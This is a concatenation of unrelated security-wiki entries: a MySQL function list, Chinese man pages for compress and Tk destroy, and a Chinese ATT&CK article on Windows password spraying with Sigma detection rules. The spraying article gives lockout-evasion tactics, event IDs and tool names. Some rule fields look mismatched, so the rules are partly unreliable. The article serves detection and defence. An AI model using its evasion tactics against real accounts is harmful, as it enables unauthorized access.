- [JSON_KEYS()](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#function_json-keys){data-tooltip="Array of keys from JSON document"}
- [JSON_LENGTH()](https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html#function_json-length){data-tooltip="Number of elements in JSON document"}
- [JSON_MERGE() (deprecated)](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-merge){data-tooltip="Merge JSON documents, preserving duplicate keys. Deprecated synonym for JSON_MERGE_PRESERVE()"}
- [JSON_MERGE_PATCH()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-merge-patch){data-tooltip="Merge JSON documents, replacing values of duplicate keys"}
- [JSON_MERGE_PRESERVE()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-merge-preserve){data-tooltip="Merge JSON documents, preserving duplicate keys"}
- [JSON_OBJECT()](https://dev.mysql.com/doc/refman/8.0/en/json-creation-functions.html#function_json-object){data-tooltip="Create JSON object"}
- [JSON_OVERLAPS() (introduced 8.0.17)](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#function_json-overlaps){data-tooltip="Compares two JSON documents, returns TRUE (1) if these have any key-value pairs or array elements in common, otherwise FALSE (0)"}
- [JSON_PRETTY()](https://dev.mysql.com/doc/refman/8.0/en/json-utility-functions.html#function_json-pretty){data-tooltip="Print a JSON document in human-readable format"}
- [JSON_QUOTE()](https://dev.mysql.com/doc/refman/8.0/en/json-creation-functions.html#function_json-quote){data-tooltip="Quote JSON document"}
- [JSON_REMOVE()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-remove){data-tooltip="Remove data from JSON document"}
- [JSON_REPLACE()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-replace){data-tooltip="Replace values in JSON document"}
- [JSON_SCHEMA_VALID() (introduced 8.0.17)](https://dev.mysql.com/doc/refman/8.0/en/json-validation-functions.html#function_json-schema-valid){data-tooltip="Validate JSON document against JSON schema; returns TRUE/1 if document validates against schema, or FALSE/0 if it does not"}
- [JSON_SCHEMA_VALIDATION_REPORT() (introduced 8.0.17)](https://dev.mysql.com/doc/refman/8.0/en/json-validation-functions.html#function_json-schema-validation-report){data-tooltip="Validate JSON document against JSON schema; returns report in JSON format on outcome on validation including success or failure and reasons for failure"}
- [JSON_SEARCH()](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#function_json-search){data-tooltip="Path to value within JSON document"}
- [JSON_SET()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-set){data-tooltip="Insert data into JSON document"}
- [JSON_STORAGE_FREE()](https://dev.mysql.com/doc/refman/8.0/en/json-utility-functions.html#function_json-storage-free){data-tooltip="Freed space within binary representation of JSON column value following partial update"}
- [JSON_STORAGE_SIZE()](https://dev.mysql.com/doc/refman/8.0/en/json-utility-functions.html#function_json-storage-size){data-tooltip="Space used for storage of binary representation of a JSON document"}
- [JSON_TABLE()](https://dev.mysql.com/doc/refman/8.0/en/json-table-functions.html#function_json-table){data-tooltip="Return data from a JSON expression as a relational table"}
- [JSON_TYPE()](https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html#function_json-type){data-tooltip="Type of JSON value"}
- [JSON_UNQUOTE()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-unquote){data-tooltip="Unquote JSON value"}
- [JSON_VALID()](https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html#function_json-valid){data-tooltip="Whether JSON value is valid"}
- [JSON_VALUE() (introduced 8.0.21)](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#function_json-value){data-tooltip="Extract value from JSON document at location pointed to by path provided; return this value as VARCHAR(512) or specified type"}
- [MEMBER OF() (introduced 8.0.17)](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#operator_member-of){data-tooltip="Returns true (1) if first operand matches any element of JSON array passed as second operand, otherwise returns false (0)"}
{.cols-1}
### Cast
- [BINARY](https://dev.mysql.com/doc/refman/8.0/en/cast-functions.html#operator_binary){data-tooltip="Cast a string to a binary string"}
- [CAST()](https://dev.mysql.com/doc/refman/8.0/en/cast-functions.html#function_cast){data-tooltip="Cast a value as a certain type"}
- [CONVERT()](https://dev.mysql.com/doc/refman/8.0/en/cast-functions.html#function_convert){data-tooltip="Cast a value as a certain type"}
{.cols-2}
### Flow Control
- [CASE](https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html#operator_case){data-tooltip="Case operator"}
- [IF()](https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html#function_if){data-tooltip="If/else construct"}
- [IFNULL()](https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html#function_ifnull){data-tooltip="Null if/else construct"}
- [NULLIF()](https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html#function_nullif){data-tooltip="Return NULL if expr1 = expr2"}
{.cols-2}
### Information
- [BENCHMARK()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_benchmark){data-tooltip="Repeatedly execute an expression"}
- [CHARSET()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_charset){data-tooltip="Return the character set of the argument"}
- [COERCIBILITY()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_coercibility){data-tooltip="Return the collation coercibility value of the string argument"}
- [COLLATION()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_collation){data-tooltip="Return the collation of the string argument"}
- [CONNECTION_ID()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_connection-id){data-tooltip="Return the connection ID (thread ID) for the connection"}
- [CURRENT_ROLE()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_current-role){data-tooltip="Return the current active roles"}
- [CURRENT_USER()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_current-user){data-tooltip="The authenticated user name and host name"}
- [DATABASE()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_database){data-tooltip="Return the default (current) database name"}
- [FOUND_ROWS()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_found-rows){data-tooltip="For a SELECT with a LIMIT clause, the number of rows that would be returned were there no LIMIT clause"}
- [ICU_VERSION()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_icu-version){data-tooltip="ICU library version"}
- [LAST_INSERT_ID()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_last-insert-id){data-tooltip="Value of the AUTOINCREMENT column for the last INSERT"}
- [ROLES_GRAPHML()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_roles-graphml){data-tooltip="Return a GraphML document representing memory role subgraphs"}
- [ROW_COUNT()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_row-count){data-tooltip="The number of rows updated"}
- [SCHEMA()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_schema){data-tooltip="Synonym for DATABASE()"}
- [SESSION_USER()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_session-user){data-tooltip="Synonym for USER()"}
- [SYSTEM_USER()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_system-user){data-tooltip="Synonym for USER()"}
- [USER()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_user){data-tooltip="The user name and host name provided by the client"}
- [VERSION()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_version){data-tooltip="Return a string that indicates the MySQL server version"}
{.cols-2}
### Encryption and Compression
- [AES_DECRYPT()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_aes-decrypt){data-tooltip="Decrypt using AES"}
- [AES_ENCRYPT()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_aes-encrypt){data-tooltip="Encrypt using AES"}
- [COMPRESS()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_compress){data-tooltip="Return result as a binary string"}
- [MD5()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_md5){data-tooltip="Calculate MD5 checksum"}
- [RANDOM_BYTES()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_random-bytes){data-tooltip="Return a random byte vector"}
- [SHA1(), SHA()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_sha1){data-tooltip="Calculate an SHA-1 160-bit checksum"}
- [SHA2()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_sha2){data-tooltip="Calculate an SHA-2 checksum"}
- [STATEMENT_DIGEST()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_statement-digest){data-tooltip="Compute statement digest hash value"}
- [STATEMENT_DIGEST_TEXT()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_statement-digest-text){data-tooltip="Compute normalized statement digest"}
- [UNCOMPRESS()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_uncompress){data-tooltip="Uncompress a string compressed"}
- [UNCOMPRESSED_LENGTH()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_uncompressed-length){data-tooltip="Return the length of a string before compression"}
- [VALIDATE_PASSWORD_STRENGTH()](https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html#function_validate-password-strength){data-tooltip="Determine strength of password"}
{.cols-1}
### Locking
- [GET_LOCK()](https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html#function_get-lock){data-tooltip="Get a named lock"}
- [IS_FREE_LOCK()](https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html#function_is-free-lock){data-tooltip="Whether the named lock is free"}
- [IS_USED_LOCK()](https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html#function_is-used-lock){data-tooltip="Whether the named lock is in use; return connection identifier if true"}
- [RELEASE_ALL_LOCKS()](https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html#function_release-all-locks){data-tooltip="Release all current named locks"}
- [RELEASE_LOCK()](https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html#function_release-lock){data-tooltip="Release the named lock"}
{.cols-1}
### Bit
- [&](https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html#operator_bitwise-and){data-tooltip="Bitwise AND"}
- [>>](https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html#operator_right-shift){data-tooltip="Right shift"}
- [<<](https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html#operator_left-shift){data-tooltip="Left shift"}
- [^](https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html#operator_bitwise-xor){data-tooltip="Bitwise XOR"}
- [BIT_COUNT()](https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html#function_bit-count){data-tooltip="Return the number of bits that are set"}
- [|](https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html#operator_bitwise-or){data-tooltip="Bitwise OR"}
- [~](https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html#operator_bitwise-invert){data-tooltip="Bitwise inversion"}
{.cols-2}
### Miscellaneous
- [ANY_VALUE()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_any-value){data-tooltip="Suppress ONLY_FULL_GROUP_BY value rejection"}
- [BIN_TO_UUID()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_bin-to-uuid){data-tooltip="Convert binary UUID to string"}
- [DEFAULT()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_default){data-tooltip="Return the default value for a table column"}
- [GROUPING()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_grouping){data-tooltip="Distinguish super-aggregate ROLLUP rows from regular rows"}
- [INET_ATON()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_inet-aton){data-tooltip="Return the numeric value of an IP address"}
- [INET_NTOA()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_inet-ntoa){data-tooltip="Return the IP address from a numeric value"}
- [INET6_ATON()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_inet6-aton){data-tooltip="Return the numeric value of an IPv6 address"}
- [INET6_NTOA()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_inet6-ntoa){data-tooltip="Return the IPv6 address from a numeric value"}
- [IS_IPV4()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_is-ipv4){data-tooltip="Whether argument is an IPv4 address"}
- [IS_IPV4_COMPAT()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_is-ipv4-compat){data-tooltip="Whether argument is an IPv4-compatible address"}
- [IS_IPV4_MAPPED()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_is-ipv4-mapped){data-tooltip="Whether argument is an IPv4-mapped address"}
- [IS_IPV6()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_is-ipv6){data-tooltip="Whether argument is an IPv6 address"}
- [IS_UUID()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_is-uuid){data-tooltip="Whether argument is a valid UUID"}
- [MASTER_POS_WAIT()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_master-pos-wait){data-tooltip="Block until the replica has read and applied all updates up to the specified position"}
- [NAME_CONST()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_name-const){data-tooltip="Cause the column to have the given name"}
- [SLEEP()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_sleep){data-tooltip="Sleep for a number of seconds"}
- [UUID()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_uuid){data-tooltip="Return a Universal Unique Identifier (UUID)"}
- [UUID_SHORT()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_uuid-short){data-tooltip="Return an integer-valued universal identifier"}
- [UUID_TO_BIN()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_uuid-to-bin){data-tooltip="Convert string UUID to binary"}
- [VALUES()](https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_values){data-tooltip="Define the values to be used during an INSERT"}
{.cols-2}
Also see {.cols-1}
--------
- [Regex in MySQL](/regex#regex-in-mysql) _(quickref.me)_
|
sec-knowleage
|
compress
===
使用Lempress-Ziv编码压缩数据文件
## 补充说明
**compress命令** 使用“Lempress-Ziv”编码压缩数据文件。compress是个历史悠久的压缩程序,文件经它压缩后,其名称后面会多出".Z"的扩展名。当要解压缩时,可执行uncompress指令。事实上uncompress是指向compress的符号连接,因此不论是压缩或解压缩,都可通过compress指令单独完成。
### 语法
```shell
compress(选项)(参数)
```
### 选项
```shell
-f:不提示用户,强制覆盖掉目标文件;
-c:将结果送到标准输出,无文件被改变;
-r:递归的操作方式;
-b<压缩效率>:压缩效率是一个介于9~16的数值,预设值为"16",指定愈大的数值,压缩效率就愈高;
-d:对文件进行解压缩而非压缩;
-v:显示指令执行过程;
-V:显示指令版本及程序预设值。
```
### 参数
文件:指定要压缩的文件列表。
### 实例
将`/etc/man.config`复到`/tmp` ,并加以压缩
```shell
[root@localhost ~]# cd /tmp
[root@localhost tmp]# cp /etc/man.config .
[root@localhost tmp]# compress man.config
[root@localhost tmp]# ls -l
```
```shell
-rw-r--r-- 1 root root 2605 Jul 27 11:43 man.config.Z
```
将刚刚的压缩档解开
```shell
[root@localhost tmp]# compress -d man.config.Z
```
将 man.config 压缩成另外一个文件来备份
```shell
[root@localhost tmp]# compress -c man.config > man.config.back.Z
[root@localhost tmp]# ll man.config*
```
```shell
-rw-r--r-- 1 root root 4506 Jul 27 11:43 man.config
-rw-r--r-- 1 root root 2605 Jul 27 11:46 man.config.back.Z
```
这个`-c`的选项比较有趣!会将压缩过程的资料输出到屏幕上,而不是写入成为file.Z文件。所以,我们可以透过资料流重导向的方法将资料输出成为另一个档名。
|
sec-knowleage
|
'\"
'\" Copyright (c) 1990 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: destroy.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: destroy.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH destroy 3tk "" Tk "Tk Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
destroy \- 销毁一个或多个窗口
.SH "总览 SYNOPSIS"
\fBdestroy \fR?\fIwindow window ...\fR?
.BE
.SH "描述 DESCRIPTION"
.VS
.PP
这个命令清除用 \fIwindow \fR参数给出的窗口,加上所有它们的后代(窗口)。如果清除了\fI窗口\fR “.”则整个应用也将被销毁。依次销毁这些 \fIwindow\fR,如果在销毁某个窗口时发生了错误,则这个命令退出而不销毁剩下的窗口。如果 \fIwindow\fR 不存在不返回错误。
.VE
.SH "关键字 KEYWORDS"
application, destroy, window
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/09/28
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# T1110-003-windows-密码喷射
## 来自ATT&CK的描述
当密码未知或获得密码哈希值时,攻击者可以使用暴力破解技术尝试访问帐户。
攻击者可能会在操作期间尝试暴力破解登录,这是一个风险较高的选项,因为它可能导致大量身份验证失败记录和帐户锁定,具体取决于组织的登录失败策略。
密码喷射技术是使用一个密码(例如,“Password01”)或一小组密码,其匹配域的复杂性策略并且可以是常用密码。尝试使用该密码的**不同账户**进行登录,从而避免触发组织内的策略导致账户锁定。
通常,在密码喷射时使用常用端口上的管理服务。通用目标服务包括以下内容:
- SSH(22/TCP)
- Telnet(23/TCP)
- FTP(21/ TCP)
- NetBIOS/SMB/Samba(139/TCP和445/TCP)
- LDAP(389/TCP)
- Kerberos(88/TCP)
- RDP /终端服务(3389/TCP)
- HTTP / HTTP管理服务(80/TCP和443/TCP)
- MSSQL(1433/TCP)
- Oracle(1521/TCP)
- MySQL(3306/TCP)
- VNC(5900/TCP)
## RDP暴力破解
远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。大部分的Windows都有客户端所需软件。其他操作系统也有这些客户端软件,例如Linux、FreeBSD、Mac OS X。服务端电脑方面,则听取送到TCP3389端口的数据。
当系统密码设置较为简单时,攻击者可以利用枚举账户密码的方法进行破解登录。
## 密码喷洒攻击
值得注意的是,很多时候人们容易把密码暴力破解和密码喷射技术搞混,“密码喷射攻击”(Password Spray Attack)并不等同于“密码爆破攻击”(Brute Force Attack)。事实上,这两种攻击是相反的。
在密码爆破攻击中,黑客选择一个易受攻击的 ID 并一个接一个地输入密码,希望有一些密码可以让他们进入。基本上,密码爆破是用多个密码尝试破解同一个 ID。而密码喷射攻击,是用一个密码来尝试多个用户 ID,以便至少有一个用户 ID 被泄露。对于密码喷射攻击,黑客使用社交工程或其他网络钓鱼方法收集多个用户 ID。通常情况下,至少有一个用户使用简单的密码,如12345678甚至是 p@ssw0rd。
在密码喷射攻击中,黑客会为其收集的所有用户 ID 精心构造密码。因此,密码喷射攻击可以定义为将相同的密码应用于组织中的多个用户帐户,目的是安全的对其中一个帐户进行未授权访问。
暴力破解的问题在于,在使用不同密码进行一定次数的尝试后,系统可能会被锁定。为了避免这种情况,产生了收集用户 ID 并将可能的密码应用于它们的想法。使用密码喷射攻击时,黑客也会采取一些预防措施。例如,如果他们尝试将 password1应用于所有用户帐户,则在完成第一轮后,他们不会立即开始将 password2应用于这些帐户。他们将在黑客攻击中留出至少30分钟的时间。
## 测试案例
**仅文字描述**
由于AD用户设置锁定阈值为5,因此我们可以为每个用户尝试4个不同的密码,然后我们等待30分钟或者比30分钟更长的时间(锁定窗口,其中DC保持锁定计数,此后重置为0),然后再试一次。攻击者可以通过收集有关AD域环境的密码策略信息,帮助攻击者能够更好地使用密码喷射攻击。
密码喷射攻击通常应用到SMB共享或RDP服务,所以我们可以从这两点入手,这两类服务在企业内网中是非常常见的。密码喷射攻击会产生大量的windows事件ID **4625登录失败**。当发现大量此类事件时,它值得引起你的注意。
当攻击者通过更改连接的服务来避免windows产生事件ID4625,即不再连接SMB或者RDP服务,而是连接到域控制器上的LDAP服务,许多组织都在集中精力去监视4625事件。但如果连接到LDAP服务进行密码喷射攻击,则不会记录4625事件。则会记录Kerberos日志事件**4771**,并监测**“Kerberos预身份验证失败”**。在事件ID 4771中,**失败代码为“0x18”,**这意味着密码错误。
在接入域的计算机上执行密码喷射时,如果攻击者在此系统上(即域内任意主机系统)运行密码喷射攻击,则会在此主机上记录**事件ID4648(“使用显式凭据尝试登录”)**。如果在几秒钟内记录了大量4648事件,这种情况是异常的,你需要重点关注。
## 检测日志
在AD环境中进行密码喷射攻击,你可以通过启用适当的日志记录和有效的关联来进行检测和发现。
主要的日志审核策略:
- 域控制器:事件ID4625 审核登录(成功和失败)
- 域控制器:事件ID4771 审核Kerberos身份验证服务 (成功和失败)
- 所有系统:事件ID4648 审核登录(成功和失败)
## 测试复现
场景一:利用Hydra进行RDP爆破
场景二:利用ncrack进行RDP爆破
## 测试留痕
暂无
## 检测规则/思路
### sigma规则
场景一:检测规则
```yml
title: Hydra win7 RDP爆破
description: kali windows hydra
references: https://www.96007.club/2019/09/17/Credential-Access-win-Password-spraying/
tags: T1110-003
status: experimental
author: Blue team
logsource:
product: windows
service: security
detection:
selection1:
EventID: 4771 #计算机试图验证帐户的凭据。
AuthenticationPackage: 'MICROSOFT_AUTHENTICATION_PACKAGE_V1_0'
LogonAccount: '*'
SourceWorkstation: '*'
ErrorCode: '0xc0000064'
selection2:
EventID: 4625
LogonType: 3
FailureReason: '未知用户名或密码错误。' #失败信息>失败原因
Status: 0xc000006d #失败信息>状态
SubStatus: 0xc0000064 #失败信息>子状态
LogonProcess: 'NtLmSsp' #详细的身份验证信息>登陆进程
AuthenticationPackage: 'NTLM' #详细的身份验证信息>身份验证包
timeframe: last 2s
condition: all of them
level: medium
#注意:在一分钟内,同一主机事件ID为4625的事件大于50个;
```
场景二:检测规则
```yml
title: ncrack win7 RDP爆破
description: kali windows ncrack
references: https://www.96007.club/2019/09/17/Credential-Access-win-Password-spraying/
tags: T1110-003
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection1:
EventID: 4771 #计算机试图验证帐户的凭据。
AuthenticationPackage: 'MICROSOFT_AUTHENTICATION_PACKAGE_V1_0'
LogonAccount: '*'
SourceWorkstation: '*' #源工作站地址等于win7本机主机名
ErrorCode: 0xc0000064
selection2:
EventID: 4625
LogonType: 10
FailureReason: '未知用户名或密码错误。' #失败信息>失败原因
Status: 0xc000006d #失败信息>状态
SubStatus: 0xc0000064 #失败信息>子状态
CallerProcessName: 'C:\Windows\System32\winlogon.exe' #进程信息>调用方进程名
LogonProcess: 'User32' #详细的身份验证信息>登陆进程
AuthenticationPackage: 'Negotiate' #详细的身份验证信息>身份验证包
timeframe: last 2s
condition: all of them
level: medium
#注意:在一分钟内,同一主机事件ID为4625的事件大于50个;
```
### 建议
在一分钟内,同一主机失败代码为0x18,事件ID为4771的事件大于50个;**值得注意的是:此规则只适用于域控制器**
在一分钟内,同一主机上事件ID为4648的事件大于100个;
您可以根据您的具体环境通过缩短时间阈值或事件数量阈值来调整每个告警规则。
## 参考推荐
MITRE-ATT&CK-T1110-003
<https://attack.mitre.org/techniques/T1110/003>
LDAP轻量目录访问协议
<https://baike.baidu.com/item/LDAP/2875565?fr=aladdin>
爆破工具 Hydra 简单使用
<https://www.jianshu.com/p/4da49f179cee>
CrackMapExec:一款针对大型Windows活动目录(AD)的后渗透工具
<https://www.freebuf.com/sectool/184573.html>
|
sec-knowleage
|
### 栈溢出原理介绍
